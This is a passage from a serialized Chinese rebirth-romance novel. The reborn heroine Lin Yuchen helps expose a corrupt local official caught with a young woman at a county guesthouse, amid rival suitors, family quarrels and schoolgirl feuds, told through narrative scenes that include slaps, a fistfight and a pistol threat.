“你搞错了。我妈喜欢赵有归那样。”林语晨想起那夜赵有归穿军大衣,林兰香拿手电筒照他的欣喜情态。
自家妈是实用主义者。
“你妈那心思我能不知道啊。有归人高,型好。她就嫌弃我矮。幸好,你爸年轻的时候长得还不错,不比姓楚的小子差。”林大宝擦干净手往外走。
“爸,你真觉得姓楚的好啊?”林语晨有些诧异。一直以为林大宝看好得是赵有归。
林大宝默下,回头盯女儿两眼,一声不吭回堂屋。
39. 招待所
林语晨不懂林爸那个眼神,学老爸的样子摇着头把碗码整齐,边道:“我妈吃过亏,现在知道赵有归这种实用型才叫好。”
这一生,与楚邵只有仇,除了恨不可能再产生别的感情;
前世,与赵有归本就没有什么瓜葛,今生两人也只会是朋友。
打定主意后,林语晨下意识咬在唇角,脑海里浮现之前的一幕。
睡着赵有归突然侧头,鼻撞着鼻尖,唇擦过唇角……咕隆两下要醒。
林语晨错愕过后心里一慌,逃离现场。
手按在颊边,很烫,不由自主跺脚,恼说:“干嘛要低头看他!真是够了!”
是啊,够了。毕竟未来的自己生得是绝症。
林大宝进堂屋扫眼竹榻上的人,轻叹了声。
楚邵这辈子要是没钱,兴许真能和女儿安安分分过。但是,女儿又是个心气高的。两人的后半生注定闹腾。
而赵有归,听他现在办的事,以后前途不浅。若是晨晨嫁给他,怕是日后会过得拘束!女儿什么性子,做老爸得很清楚。
林大宝想东想西,拍着额头进里屋打盹。
林语晨收拾后回堂屋,眯眼看着打鼾的楚邵,顺手拿起林大宝盘亮的抓痒竹片,琢磨抽他哪里合适。
楚邵猛地睁开眼,看着停在脸上的竹片,慢慢坐起来:“晨晨,你这是……要干嘛?”
林语晨淡定得把竹片调个头,戳进后领的碎花衬衫里巴拉两下:“后背有点痒。”
楚邵的眼神不干净了,快口说:“我帮你挠吧。”
林语晨见他伸手,抽出竹片,闪电般给他一下。
“啪”得一声好不响亮。
“嘶!”楚邵彻底清醒,跳下竹榻,甩着手呼气,“林语晨,你又打我!刚才你是不是想打我?”
“谁打你了?自己的手不安分还怪别人。刚才你想干嘛?”林语晨颠着竹片反问。
心思不干净的楚邵哑口无言。
林语晨紧接说:“男女授受不亲,我是想拿它叫醒你。你醒了正好。我要去江源县,带我去吧。”
“去县里干吗?最近县里不安全,你还是留在家吧。”楚邵觑着她,发现人直接往外走,追出去,“行行行,你要去哪我就带你去哪。你要去天涯海角,我就带你去坐飞机。”
林语晨在院里停步,转身绽笑:“我去拿包,现在就走。”若是前世,林语晨该问天涯海角在哪,坐飞机真能去吗?
这会,多一句都嫌厌!
“……”楚邵想跟进房,差点被关上的门撞歪鼻子。
前世,这扇门任自己进。
林语晨背上包出门,见他在发呆:“喂,喝多了?”
“我又不是赵有归那没用的孙子。晨晨,你爱喝酒,我也爱喝,酒量还不错。咱们才是天生一对。你说对吧?”楚邵推上车,跟着她出门。
林语晨绕到自行车后座,拍着上面的垫子:“你确定?不是这做垫子的人和你天生一对?”
“怎么可能。我是逢场……”楚邵的眼神乱飘。
“逢场作戏啊!不装了?不是你妈给你缝的垫子?”林语晨坐上去,“走吧。”
“呵呵!”楚邵松口气,“林菲儿一定要给我装,没好意思拒绝。不过,我是想着你坐在上面舒服,才没拆掉。”
林语晨的手环过楚邵的腰。这举动好似信了他的鬼话。
楚邵激动地单手骑车,一手按在腹前的手背:“晨晨,答应做我女朋友了?”
林语晨没回应,垂着眸,靠在他的后背:“赵有归找你做什么?”
楚邵升起的激动瞬间回落:“他要抓黑势力,就是林裕宝那伙人,让我做内应。你看吧,林菲儿是林裕宝的女儿,他爸都要被关进去,我怎么可能跟林菲儿有什么,对吧?”
“你说是就是吧。”林语晨松开手,抓在他的腰两侧,“你知道淳于芳吗?”
“谁啊?”楚邵还真不知道这人。
林语晨把淳于芳蹲林菲儿和陆天的事解释一番。
楚邵一个刹车停下,等林语晨跳车,认真看去:“你说真的?”
“嗯。不过,赵有归阻止她。”林语晨抓辫子,眼神轻扫过楚邵的表情,“林菲儿和我同年级,曾经帮孙佳人欺负过我。我想讨回来。”
“所以,你上县里是想代替那个什么芳去报警?不行。”楚邵直接反对,“陆天在局里有人,晚上抓进去,天没亮就出来。反倒是报警的人才有危险。”
林语晨斜挑着看去,这说法和赵有归的意思不谋而合。
“但是,我不甘心啊。”她拍下坐垫,“凭什么她靠着这种手段可以吃香喝辣,转头又来勾搭你?”
楚邵顿时眉飞色舞,这是语晨在吃醋啊!
一边顺她的心思想起孙佳好找林裕宝的人欺负语晨,林菲儿知道后说起试图拐卖林语晨的事。
脑子里飞来转去,忽然说:“这样吧。你别去报警,我喊个人报警,但是你和我都不能出面。”
陆天!前世林语晨陪他三个多小时,这次正好一次性收回本金利息。
“你要怎么做?”林语晨的神色平静,眼神莫测。
楚邵没想给林菲儿报信,竟想落井下石,有意思!难道他不记得林菲儿给他生过个女儿吗?
楚邵是重生者,知道我不会生,却还找过来。只因为有利可图!
然而,造纸厂的事黄了,依旧没放过我!
他跟着时髦,思想底子却传统。不然,前世不会闹出那么多孩子、孩子妈。
医院的诊断证明我的身体没问题!所以,楚邵知道我现在的身体可以有孩子,而前世没有孩子就因为那次大出血。
这件事到目前为止还没发生!他也因此还没放弃!
楚邵,前世确实是你做的,对吧!?
楚邵不知道林语晨此时的内心波澜云涌,兀自解释:“我在帮林裕宝做事,认识几个小兄弟。
晚上,我喊个人去报警,只要不说屋里的人是谁,小弟们也不知道真相。我拿林裕宝的对家说事就行。”
走两步看向林语晨,又生出主意,“这样不安全。不如,我们去招待所开个房,我就说:我同你找对象,但是你不答应,喊兄弟们帮忙,用他们威胁你。实际上,我告诉他们得是陆天的房号。
怎么样?我在你面前做一回恶人,陪你和他们再搞个反间计!”
“……”林语晨气笑,看着路边的石头,周围没人,捞起来砸死他能脱身吗?
“林裕宝在县里势力很大,说是他的对头搞事,应该没人相信。我们这样做不仅可以把警察引来,还能借别人的手闯开303房间,抓他个现行。”
楚邵不装了,直接爆出那个房间号。
林语晨眯眼审视,点头说:“好啊。”
淳于芳都不知道房间号,但楚邵知道。
前世的事给他的印象很深刻啊。第二天的那碗水,他还记得吗?
楚邵听她同意,生出劲头。
这件事若办得好,不仅能让陆天和林菲儿身败名裂,而且直接拿下林语晨。
人言可畏,林语晨不答应做女朋友也会迫于人言而同意在一起。她是个头铁不顾后果的女人。
楚邵非常满意自己的阳谋,带着林语晨直奔江源县。
两人进县后,林语晨让楚邵骑着车兜两圈,两次都路过宝誉歌舞厅。
她不知道林菲儿有没有看到两人,看到后有没有心生嫉妒。但是,她可以等,等晚上。
楚邵请客,
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两人吃吃喝喝,一直逛到傍晚。
他先去招待所,想订303号房间。
管理人愣了下,回说:“不好意思,这间房已经订出去。”
楚邵要隔壁的302号房间,从后门带林语晨上楼,路过303号房间还试图开下门,没能打开。
楚邵说:“应该还没来。”
“你怎么知道是这间?”林语晨适时反问。
“哦。我问过客服,人家说303房已经订出去,说明他会来。”楚邵暗惊,又蹙眉看去:怎么在路上没问,现在开始问了?
林语晨进302房间,环顾一圈。
房间里一张大棕板床,小方茶几,一把椅子,一个衣柜,两把塑料水壶。小房门后是蹲坑、水槽、老式花洒。与记忆里303房间相比少张梅兰竹菊的竹屏风以及沙发椅,差点意思。
楚邵看眼床又盯看来来回回参观的林语晨,眼睛在两边游摆。
“晨晨,累吗?”
林语晨回头,发现他的眼神落在床上,嫌弃说:“你要睡就睡。我不累也不困。另外,我嫌脏。”
楚邵的神色瞬间变暗。
前世,两人第一次吵架,林语晨就说:“楚邵,你真脏,令人恶心。”
当时,楚邵又羞又气,脑子一热就揭短:“你呢?你陪陆天三个多小时,你不脏吗?林语晨,你他娘就是个交际花,比交际花还不如。人家明着来,你都暗着玩。”
林语晨失望地看过去:“你果然不信我!这三年,除开成本、工人工资、交的税,我们剩下什么?只有一个厂子和几台机器。其它的利润都孝敬陆天,这样你也不信我?
你不仅不信,还拿我做借口在外面乱来!
楚邵,你还是不是人?”
回想起两人的吵架经过,楚邵坐在床头,抓捏额角的短发。
他不是不信,只是不能信。
若是相信林语晨清白,那天早上的那碗水、在外面和林菲儿暗通款曲……就变成伤害妻子和对婚姻不忠的证据。
楚邵自认为爱林语晨,不敢承认那些事,也不敢失去这么能干的女人。
前世,他死活不肯离婚,自己都怀疑自己:我究竟是爱她这个人,还是爱她给自己带来财富的本事?
重生归来,他找到答案:不论是她这个人还是她的本事,都是林语晨让人心动的魅力!
林语晨察觉楚邵不对劲,撇开眼,一点关心的意思都没有:“你不去约人吗?不然,那些人怎么过来?”
“好。”楚邵立马起身,没敢看她,“晨晨,你放心。这次,我一定守好你。陆天这王八蛋,我要他付出代价。”
说完,他绕过林语晨,推门出去。
林语晨看着关上的门冷笑:“神经病!自欺欺人!即使真知道我和陆天什么都没发生,你也不敢承认。因为你从来都是个自私的卑鄙小人!你爱得只有你自己!”
——
傍晚时下起雨,戚戚沥沥,睡着得赵有归倏然睁眼,一个鲤鱼打挺坐起身,揉捏额头看手表:六点差一刻。
“糟了,得赶去县里。”
他起身走两步,又回到床头,拿起叠放在枕头边的格子帕。想起什么,摸向中山外套的里兜,不信邪地打开门襟:空的!不见了!
眨着眼坐下,回想中午发生的事,下意识摸在鼻尖、双唇。
“送出去了?她……不会察觉吧?”
185个子的大男人孤单地坐在床头,风中林乱,想到后世年轻人惯用的一个词:社死!
他捂着脸,内心愁眉不安,脸却在扯出笑容,整个人宛如割裂般。
“啊!”轻而短促的一声表露他内心的慌乱。
两辈子没谈过恋爱的赵有归仰面朝天,麻了!
40. 搞陆天
楚邵带晚饭回来,路过大堂时看眼时钟,已近七点。
他整个人湿哒哒,上楼进屋:“晨晨,快拿毛巾给我,外面下雨了。”
林语晨接过塑料袋,里面装着食物。至于毛巾,自己解决去吧。
楚邵愣下,笑摇着头,以为林语晨因着自己晚回来赌气,进小房间拿毛巾擦身。
他从卫生间探出头,窥眼吃饭的林语晨,又面向镜子,一鼓作气脱掉上衣,露出白嫩嫩的肌肤,点着两红梅。
没有大腹肌,但小腹扁平,手感不比林语晨的肌肤差。
“我就说咱两天生一对。以后,我们的孩子一定更帅。”
林语晨正吃着包子,抬头见到只瘦弱的白斩鸡,眼里闪过嫌弃。
同穿背心砍柴的赵有归比,一个吃肉长大、一个吃糠腌菜,埋汰人。
“晨晨,我是想给你买油炸馒头。只是,今晚咱们还得见外人……嗯,下回下回我一定给你买,好吗?”楚邵站在林语晨的椅子后,搭向她的肩头。
林语晨背对他冷笑。前世,质问他喜欢外面的女人,又为什么来追求自己。
楚邵说:你漂亮,拿得出手。多实际的理由!今晚他要有所行动,所以吃臭豆腐不合适!
她往前倾身,避开咸猪手,抵在扶手上回头:“人喊了吗?”
“叫了。等他们过来还有点时间。”楚邵往后退坐在床沿,一手拍着胸脯,发出意味不明的啪啪声,拨动两下“辣”梅,吸引对方的注意力。
林语晨眯眸:好家伙,果然要勾引人!
该用什么表情?娇羞、难为情,或者直勾勾……不好意思,只觉得辣眼。
林语晨撇回头,来个眼不见为净。如常咽下包子皮,发现背后的人又起身走来。闭眼深吸口气,拉起应付的笑容。
肩头一沉。
楚邵不死心地搭上去,倾身时语气暧昧:“晨晨,你知道我为你忍得……”
林语晨微微后仰脑袋,倏然起身,正好撞在楚邵倾来的下颚。
“啊……”楚邵咬到舌头,尖痛入心,下巴也疼,想怪林语晨,人正摸头顶呢。
他又好气又好笑,“你躲什么?嘶……我舌头破了,回头他们以为是你咬破。”
“……”林语晨的笑容僵在脸上,放下摸头的手,走近楚邵。
楚邵微愣,直直地看向她,也不喊疼:“晨晨……”
眉骨干净清透,像是仙女。
“晨晨……”
心扑通扑通狂跳。
他想捧住晨晨的脸吻上去:这是晨晨的初吻!
前世,无人的造纸厂是两人的第一次。当时,两人面临陆天的胁迫,精神上充满压力,却用身体闯开那道枷锁。那次欢好让楚邵毕生难忘。
雄性的胜负欲、占有欲,在那个晚上让他得到胜过达官贵人的极度满足。
在他的内心深处:是的,我胜过陆天,比陆天先得到这个女人。
往后,他再带女人去造纸厂,都没有那夜美妙。
林语晨的身体美好神圣,只是她用智慧包裹,性格又过于强势,让人只看到才能。即使这样,她的美依旧吸引酒色之徒。
林语晨一把握住捧来的手,往外一掰。抓握的力道惊住出神的楚邵,逼着他一步步后退,坐在床沿。
林语晨居高俯视充满期待的男人,慢慢松开他的双手。
纤长手指点在楚邵起伏的胸膛,用力一推,人顺势倒在床上。
“呵……”楚邵笑起来,看着盛放美丽的女人,静等她下一步动作。陆天会在隔壁,而林语晨在这里,一想到这点,他仿佛又回到那夜的造纸厂,激动、刺激、充满胜负欲得一夜。
林语晨拿起他擦头的毛巾,想着绕过他的脖子掐死他好,还是绑住他的双手让他安分点好、或者蒙住他的眼睛让他产生恐惧……全都不如一把甩过去,抽在他的辣眼梅花上实在。
“啪”得一声,响彻房间。
“哦……”楚邵弓起身,瞪眼过去,“你又打我!”
“打得就是你。色胚!”林语晨再次抽他脸上、手臂、手背,啪啪啪……一连抽十来下。
楚邵起初当她爱玩,后来抓她毛巾,都被躲开,只能往床里侧逃。
“好了,晨晨。别打了,晨晨……打人不打脸,啊……”
林语晨把人抽到另一侧才停下,卷起毛巾,气呼呼说:“你再整些不正经,我……”
啪嗒的关门声入两人的耳朵。
林语晨和楚邵瞬间安静,调动全部心神聆听隔壁的动静。
一会过后,楚邵摸着被抽过的地方,轻声说:“我对谁都正正经经,只有你让我时不时想不正经。”
“……不说话会死啊。”林语晨压低嗓音,举起毛巾,吓得他后仰才罢休。
两人进盥洗室的小房间,贴在墙壁上听隔壁的声响,隐约传来水声。
楚邵示意她往外走,进房间过道,低声说:“陆天吧?”
“林菲儿什么时候来?”林语晨刚问完,又听到外面传来敲门声。
楚邵蹑手蹑脚进小房间听隔壁的水声,回头嘘了声,张口无声:“停了。”
林语晨贴在房门,听到外面有开门声,以及一声:
“又想我了?”这是女人的声音。
待关门声响起,林语晨推开房门,走到303室门前。
楚邵在小房间里听到放水声,出来找林语晨,手指303房门:“林菲儿也进去了?”
“应该是吧。”林语晨回眸撇他,“你的人呢?”
“约七点半,我上楼前看还有半小时,现在应该快了。”楚邵拉林语晨回302,低声说,“三个人闹303房间,两个人报警,喊警察来阻止打架。若是我们暴露,就说我临时改房间。现在,我们躲在这看戏。”
林语晨点头,轻手轻脚回302。两人趴贴在床头的墙上,听隔壁房间的动静。
楚邵盯着她,林语晨这股认真劲说是没仇都不敢信,转着眼问:“晨晨,你恨我吗?”
林语晨心里一紧,正色反问:“你对不起我?”
楚邵哑口,想着说:“这辈子还没有,只是我觉得你好像很讨厌我,总动不动打我,看我笑话。”
“那你上辈子对不起我,这辈子来还债?神经病!你不对我使坏,我为什么讨厌你?”林语晨说着违心话,打消他心里的疑虑。
两人掰扯着,听到招待所外传来动静。到窗口看下面,路灯光下,一群警服、机关工作服的人和几个小混混撞一块,在楼下吵起来。
林语晨想起赵有归:他好像说要钓小老虎!
楚邵不解:“什么情况?这么多人。”
“不好。动静太大,陆天会不会跑啊?”
林语晨打开302房门,正见林菲儿散着头发拉拢衣襟出来。
两人四目相对,林菲儿愣下后看到林语晨身后走来的楚邵,眸里闪过猩红。
她掉头又进303房间,啪嗒一下关上门。
林语晨:这女得不跑还躲回303室?应激还是脑子有病?
楚邵低声问:“跑掉吗?我好像看到林菲儿!”
“她又回303室。”
楚邵惊讶地张大嘴巴,一脸“这个女人真蠢啊。”
林语晨轻笑,慢条斯理说
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:“她好像是怕你看到现在的她,才慌了神躲回去。真爱啊!”
“别。”楚邵赶紧狡辩,“她看得上我是我够好,我可看不上她。”
303房间里传来争吵声,而过道上也冲来一阵脚步声。
陆天打开房门要走,撞见林语晨,眼神一亮又躲开。
等他想起来要逃已经来不及,只能关上门躲回房间。
林语晨回头看向躲起来的楚邵,扫眼过道两头上来的人群,直接关上302房门。
303房间的动静太大。
警察惊讶地看向环保局长陆天和一个年轻女人待在一间房间,较真起来,这个女孩还没满20周岁。他们大张着眼,询问两人的具体情况。
302号房间也被敲开,一名警察和穿机关工作服的人进来。
“你们是外来人口还是本地人?”
林语晨和楚邵对眼:“本地人。”
“本地人不回家住招待所?”警察狐疑地看向两人。
排查外来人口的工作者也带着八卦的眼神盯着两人。
楚邵嬉笑,拉住林语晨的手,十指交握:“我们在谈恋爱,外面下雨,进来躲雨。我们还商量明天去扯证呢。”
林语晨瞪去,这家伙趁火打劫,胡说一通。
警察和工作人员分别拿出纸笔,让两人登记姓名、住址,再又盘问几句,确定两人是本地人。
原本安静问询的303房间再次热闹。
陆天的妻子和儿子是第三波到场人员。
中年女人抓住林菲儿就打,被警察阻止,但阻止不了谩骂声响彻整栋楼。
陆天的儿子看着陆天,羞得无地自容,愤恨大喊:“我没有你这样不知廉耻的爸!”
302房间的工作人员跑出去,包括小警员,一起挤在隔壁看热闹。
林语晨和楚邵在房间里对了眼,想要溜出门,却被过道上拥挤的人群堵住,只好跟着瞧热闹。
中年女人得空就抓林菲儿,屡次被警察阻止。她没法打女人,转脸抽陆天,什么难听话说什么。
陆天也火,推开警察就打回去。两夫妻、儿子以及劝架的人闹做一堆。
林菲儿蹲在角落,双眼无神,脑子里循环一句:姓楚的竟敢跟她开房?他是我的我的……
楚邵发现前来帮忙的小混混已经跑出去,估计是给林裕宝报信,赶紧说:“晨晨,我们快走。”
两人挨挨挤挤穿过人群,溜到楼下后门处。
林语晨刚出后门被直走过来的人影吓愣,手被精准地拽紧,瞪眼看去:赵有归!
楚邵还没喊,就挨了赵有归一拳。鼻头酸热,血流如柱。
林语晨被拽走,他追上去,结果又挨一记回马脚,结结实实滚进泥水坑。
等他爬起来,哪还有两人的影子。
他抚着胸口、抹着鼻血、吐着口沫,压低嗓子嘶吼句:“赵有归,你给我等着。”
“放手。”林语晨掰赵有归的手,被握得很紧,根本掰不动。“有归哥,你干嘛!”
不是喝醉了躺着睡觉吗?这么快醒!
赵有归拉她穿过一条街,把人推上一辆车。转去驾驶室,打开门后坐进去,直接启动车子。
张天鸿发现赵有归不见,跑回来时看到车子远去,追出两步:“喂……我怎么办啊?这家伙脑子发热,不灵清了?”
瞧个热闹连车子都没了!
“不对!他猜到茉莉同学会在,所以让我留钥匙在车上!哦,赵有归啊赵有归,你好深的心思啊!”
心思浅到快要藏不住的赵有归一边开车,一手捞过块毛巾扔向后座:“擦擦。”
41. 丢东西
林语晨接住赵有归抛来的毛巾,默默地擦着雨水。他打楚邵很爽,但是沉默的赵有归有点吓人!
赵有归从后视镜里看去,锐利的目光越来越轻柔,声线却依旧平平:“不是不让你来吗?怎么不听话!”
“我又不是小孩子。”林语晨答完也无语:干嘛不说两句软话,还挑衅他!
车里的氛围静得出奇。
林语晨捏着毛巾角嚅唇,转着眼找补:“你喊了陆天的妻子和儿子?”
赵有归平静回答:“不是。”
张天鸿亲自开车接那对母子到招待所,一点不怕暴露。
他说陆天这人狡猾,只有把事情闹大,才有可能按住他。八一造纸厂与陆天打过几次交道,张德梁都说“陆天是小人,难缠!”
陆天的妻子和儿子是关键,可以现场把事闹大。
若不闹大,即使陆天被抓,第二天被放出来证明楚邵的话——罗恒有问题,也无法保证一定能拿下陆天。
毕竟,出了事被按下去的情况可太多了!
但是,陆天的妻子、儿子这么一闹,加上人口排查办的工作人员在现场。
天亮后,罗恒想保陆天也保不了。明天江源县就会传开陆天违纪违规的事,就等着被双开吧。
只是,罗恒的事还得缓缓。
张天鸿也有私心,想帮一把金翠城等人。
金翠城在祠堂,离下周五赵有归抓人还有六天。对于她们来说,这六天如同活在地狱。
陆天出事,罗恒焦头烂额。
林菲儿关联林裕宝,林裕宝不会轻松……一连串人物事件牵扯下来,祠堂那边能清闲几天。
五天时间够他们解决陆天的事。
至周六,祠堂或许会有一场大聚会——商讨江源县这边出的问题!
若罗恒真在里面,就一定会出现!
赵有归在电话里听完张天鸿的分析,当即采纳这个主意,约好晚上在招待所隔壁街碰头。
他没想到林语晨早上答应好好,不会参与这件事,不让那些人毁掉她的新人生,晚上她就跟楚邵进县里蹲人!
找谁不好非得找楚邵!
——你找我啊!
林语晨被车颠地跳起来,头顶着车篷:“有归哥,路是不好,也请你好好开车。”
赵有归松点油门,放缓速度
林语晨感觉车变慢,试探问:“有归哥,你钓的小老虎是谁啊?”
“没钓成!”
“……”林语晨感觉像坏了他的事,转脸望向车窗外的夜色,不敢再说话。
上县里的目的已经完成。
陆天翻不了身。
林菲儿也看到两人在一起开房。若她像前世一样,该找个机会动手害人。
第二步,给林菲儿这个机会,试出她会不会像前世一样用同样的方式害人!
雨刮器刷刷地摇着。
赵有归深吸两口潮气,彻底沉下心里的波澜。目光落在方向盘上的掌骨,想起揍楚邵一拳、又踢他一脚的举动。
第一拳没收住力,他可能流血了。后来一脚,想起身份,留情了。不然,那家伙该进医院躺着了。
“活该!”赵有归说完后麻了,竟然情不自禁说出心里话!
林语晨侧目看去,觉着破冰的机会来了,挪到驾驶位中间,好奇问:“谁活该?”
“……”赵有归轻咳,“你和楚邵……”
林语晨不等他说完,先长哦了声。
“我和楚邵约会呢。”
“滋”一声,车子猛然停下。不敲档停车,直接熄火。
林语晨扒住驾驶位的椅背,好险没颠出去。
赵有归看向前方车灯照亮的夜幕,心在刹那间入极夜。
林语晨也注视车灯里不断闪过的雨丝,像中午那场失去控制的悸动,雨水过光,眨眼消失。
扯起笑脸:“下雨了,没地方躲,去招待所里开个房避避雨。”
说完这些话,她都要自嘲:林语晨,听听你说得什么话!
赵有归垂眸,看向仪表盘,轻声问:“我丢了一样东西,在你那吗?”
“……”林语晨哑口,布兜里的白手绢好像在发烫:“什……什么呀?”
赵有归对着后视镜拉起唇角,再次启动车子,像什么都没发生一样继续上路。
林语晨觉得他又推断出什么,有些不安心:“有归哥,丢了什么东西?”
“没丢。”赵有归肯定又沉稳地说,“一会到家喝点热水,别感冒。早点休息!”
眨着眼的林语晨往后靠去,一颗心沉沉浮浮,最终飘起来。
丢了,在你那吗?没丢!
东西还在!所以,丢得不是手绢,那是什么?
“好,谢谢有归哥!”
赵家村的林家门口,赵有归放下林语晨,掉头又返回江源县。
林语晨躺在床上还在思考车上一幕。
“丢了样东西。”丢得是手绢吗?
黑暗里,她捂住脸,应该回答的,而不是反问丢了什么:
“你说那块白色手绢吗?你喝醉了,拽出来。我正好缺新手怕,就拿了。不管你送给谁啊,反正我拿了。”
这样,大家就笑笑,过掉这个问题。
林语晨抛掉手里的手绢,喃喃:“若问起藏青格子帕,不管是他还是我,都可以说‘沈阿姨觉得适合男人’就给我/你用,毕竟是旧手帕。这样,那块手帕也没有意义了。”
“啊!”林语晨拉过被子蒙住头。当时只想着不能给赵有归期待,就说“和楚邵约会”,没想到赵有归的反应这么大,还会“就地挖坑埋人”。
一紧张,应对错了。
“啊……烦人!总觉得没断他的念,还更深了!唔……”林语晨拉下被子,拢着眉,“这没丢究竟是怎么回事,不好意思追究了?”
转辗反侧一夜。
林语晨大两眼圈起来看书:完了。说不定真连大专都考不上哎!
“死丫头,你还不出门?昨晚回来这么迟,去哪了?”林兰香重重地拍着房门。
林语晨把书盖脸:因为这样才不想出门挨训啊!
赵有归送完林语晨就开车回江源县,本想同林语晨再说说,劝她别冲动行事。但是,这个女人不是软柿子,想做什么恐怕谁也拦不住。
前世,她可是灵江市的首富,不是谁都能在群狼环伺中踏上那位置!
赵有归拿着淳于芳的举报信连夜赶回市局,以市局的力量督促江源县处理陆天一案。
他在江源县与张天鸿碰过头,继续让他盯着祠堂那边的动静。之后,他连夜返回灵江市,准备布局抓孙不二、王织信等人。
——
翌日,陆天被抓这件事还在发酵。
林菲儿也被关在看所守。
林裕宝进去看她,一巴掌甩在女儿的脸上,怒其不争:“那点钱算什么?鬼迷日眼,你看看你,现在怎么出门见人。
老子让你读书不好好读,整日穿得花枝招展,满大街都知道你干了什么,丢人现眼。”
林菲儿捂着脸,冷声说:“爸,你以为我想伺候他吗?你不是一直夸孙佳人好吗?你猜是谁把我送到陆天的床上?”
林裕宝愣住,精瘦的脸上露出不可置信:“孙哥家的孙佳人?”
“除她还有谁?”林菲儿嘶声力竭地大吼,赤红双眼,委屈说,“当时我们喝多了,碰上离开的陆天。他拉走孙佳人。那时候,我很害怕,不敢跟人说。
后来,孙佳人无事一样出现,我以为她没事。结果,结果……她把我骗去招待所,送给陆天。她自己反倒脱了身,逃市里去了。
陆天威胁我,说我不答应陪他,就找人传扬我在舞厅卖。
我
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能怎么办?”
林裕宝阴沉着脸色:“你应该来找我,当时就该把她救出来。”
林菲儿嘲讽地看去,眼里充满失望:事情发生了,你还责怪我当时不找你求救!
为什么不求救?因为我喝多了呀,因为我嫉妒她!
凭什么她可以在学校里耀武扬威,是个人都要敬她三分!凭什么我爸是给人看场子,而他却可以跟着他爸去港地买漂亮衣服!
“爸,你不是说咱们再攒攒就能进省城落户吗?
孙家可以从县里进省城,我们呢?从村里搬到镇上,再从镇上搬进县……是不是就是我们的极限啊?”
林裕宝的神色变幻,挣扎着说:“只要再等等……”
“等?究竟要等到什么时候?我一直在等你带我和弟弟去省城,脱离陆天的威胁。你帮孙不二尽心尽力看场,得到什么好处?孙佳人以后在城里当老师。我呢?只能烂在江源县吗?”
林裕宝看着痛哭落泪的女儿,转身离开看所守。
他闯进罗恒的办公室:“放了我女儿!”
罗恒立马关上办公室的门,沉声说:“你发什么疯,外面这么多人看着呢。”
“你不放她,我现在就对外说,你就是孙不二……”
“咔哒”,手枪上膛的声音阻止林裕宝接下来的威胁。
罗恒拿枪口抵在林裕宝的额头,阴沉沉说:“我看你是不想活了。林裕宝,你搞清楚,这件事是张家在搞陆天,你女儿只是被连累,这两天审完就能放她出去。”
林裕宝一把打开枪,沉默地坐下,捞出烟,点上后狠吸两口。
“陆天,我要他死!”
“……”罗恒收起枪,看眼办公室外,沉稳地说,“陆天知道我们很多事。他很狡猾,不肯进里屋,只愿意在大堂关注情况,并不代表他不知道详情。
我会把人放出去。若要动手,你亲自动手。”
林裕宝抬眉,阴沉沉地扫他眼。
他再吸两口,把烟头砸地上,起身出去。
罗恒上前踩灭烟头,与外面关注情况的赵田对上眼,关了办公室门。
——
周一这天,林菲儿离开看所守。第一件事不是回家,而是找楚邵。
楚邵从县卫生院换药出来,被林菲儿扑在墙角。
他被林菲儿压着猛亲两口,一把推去:“神经病啊,你干什么?嘶啊……我的鼻子……”才有点起色,又伤了。
林菲儿红着眼看他冲出两鼻血,先是担心,随即想起他和林语晨开房,跳过去一把捏住他的鼻子,用力拧挤两下。
“嗷……”楚邵一把推开她,泪眼汪汪蹲地上,口齿不清喊,“你……干……什么?”
林菲儿含泪蹲在他面前,扯起唇角笑:“我想干你,像你干林语晨那样。走。”
楚邵甩开她来拉的手,燥怒:“林菲儿,你有病吧!你看看自己,现在江源县谁不认识你,不知道你的丑事。”
林菲儿沉落脸色,倔强地笑着:“所以,你也看不起我啰!”
“我……”楚邵想点头,又想起前世与林菲儿相处的事。
林裕宝和孙不二因着什么事闹掰。
孙不二把林裕宝交给罗恒抵政.绩,罗恒有机会进市局。
林菲儿成过街老鼠,成江源县真正的交际花。
某次饭局上,她陪在别人的身边,散场后,和楚邵在酒店成好事。之后,林菲儿一直跟着楚邵,给他生个女儿。
那时,楚邵就知道林菲儿做什么过活,并没有嫌弃她。
“没有!但是!我心里有人。这辈子我不会有小老婆,不会在外面乱来。我会守着她,”补偿我从前的过错。
林菲儿看他头也不回离去,挂不住的脸上阴沉得宛如梅雨季的天色。
“林语晨,又是林语晨!你们休想在一起。我不允许!啊!”
42. 我赢了
无论外面怎么风云变幻,学校是一座与世隔绝的象牙塔。
尽管这座塔里也有欺凌和不平,但比社会上层出不穷的尔虞我诈,概率小多了。
陆天被抓的事在学校里毫无风声。
张茉莉这种消息灵通的人都没听说,遑论普通学生。
林语晨听着课,瞥见淳于芳时不时望向孙佳好的后背,就知道这姑娘还没放下报仇。
赵有归的介入,说不定助长淳于芳想动孙佳好的决心。
若孙佳好出事,淳于芳被抓,赵有归会是什么心情?
林语晨想到他,忍不住咧开嘴。
张茉莉拿手肘戳下林语晨,贴着桌面推去一张纸:什么事这么开心?
林语晨摸在脸颊,慢慢地收敛笑意。
在纸上写:我想请你吃炸丸子,但是没钱,考虑怎么把你论斤卖掉换丸子!
张茉莉看着长长一行字,陷入沉默:林语晨开玩笑了!
写一行字,再推回去:本姑娘有钱,请你吃!
林语晨差点笑出声,赶紧压住,暗暗朝张茉莉举大拇指:阔气!
放学后,一群女生回寝室。
林语晨去打水,正好见淳于芳在灌热水。两人像从无交集般擦肩路过。
孙佳好注意着林语晨的一举一动,带人堵在水房门口。
林语晨灌好水,塞上木塞:“我说你烦不烦,信不信我拔塞子浇你一脸!”
孙佳好和两小姐妹往后退。林语晨直接穿过几人离开。
孙佳好喊:“林语晨,记得我姐姐吗?这周五她要回江源县,想见见你。你敢不敢答应?”
幼稚。这种激将法早三百年就不管用。
林语晨头也不回上楼,至二楼,淳于芳等候在一旁,穿过她直接上楼。
“林语晨,你不答应吗?”淳于芳与她保持两个台阶上楼。
为钓出孙佳人,不顾暴露的风险提醒孙佳好——林语晨怕得只有她姐姐孙佳人。
如今鱼儿已经上钩,必须让林语晨答应。
林语晨侧头:“你想干什么?”
“我想当面问问她,为什么要这么对我姐姐?”
林语晨转身,拉住下一阶的淳于芳:“你跟我来。”
淳于芳没想到她这么突然,跟着一起上三楼的楼顶。这里出去是学生晒被子的平台,现在处于梅雨季,没人会来。
林语晨放开她,蹙起眉,扪心自问:做什么多管闲事?想起赵有归,那个有责任心的警察应该不希望淳于芳出事。
“孙佳人欺负人是为他爸的生意。至于孙佳好,单纯就是好玩。”
孙佳好的天真、虎、恶,一眼透明,坏也是真坏!
“歌舞厅对吗?孙佳好说歌舞厅不是林家,其实是她家。”淳于芳咬唇,“更可恶!”
“你想怎么做?”林语晨的额心挤出三道纹。再这样下去,淳于芳很危险!
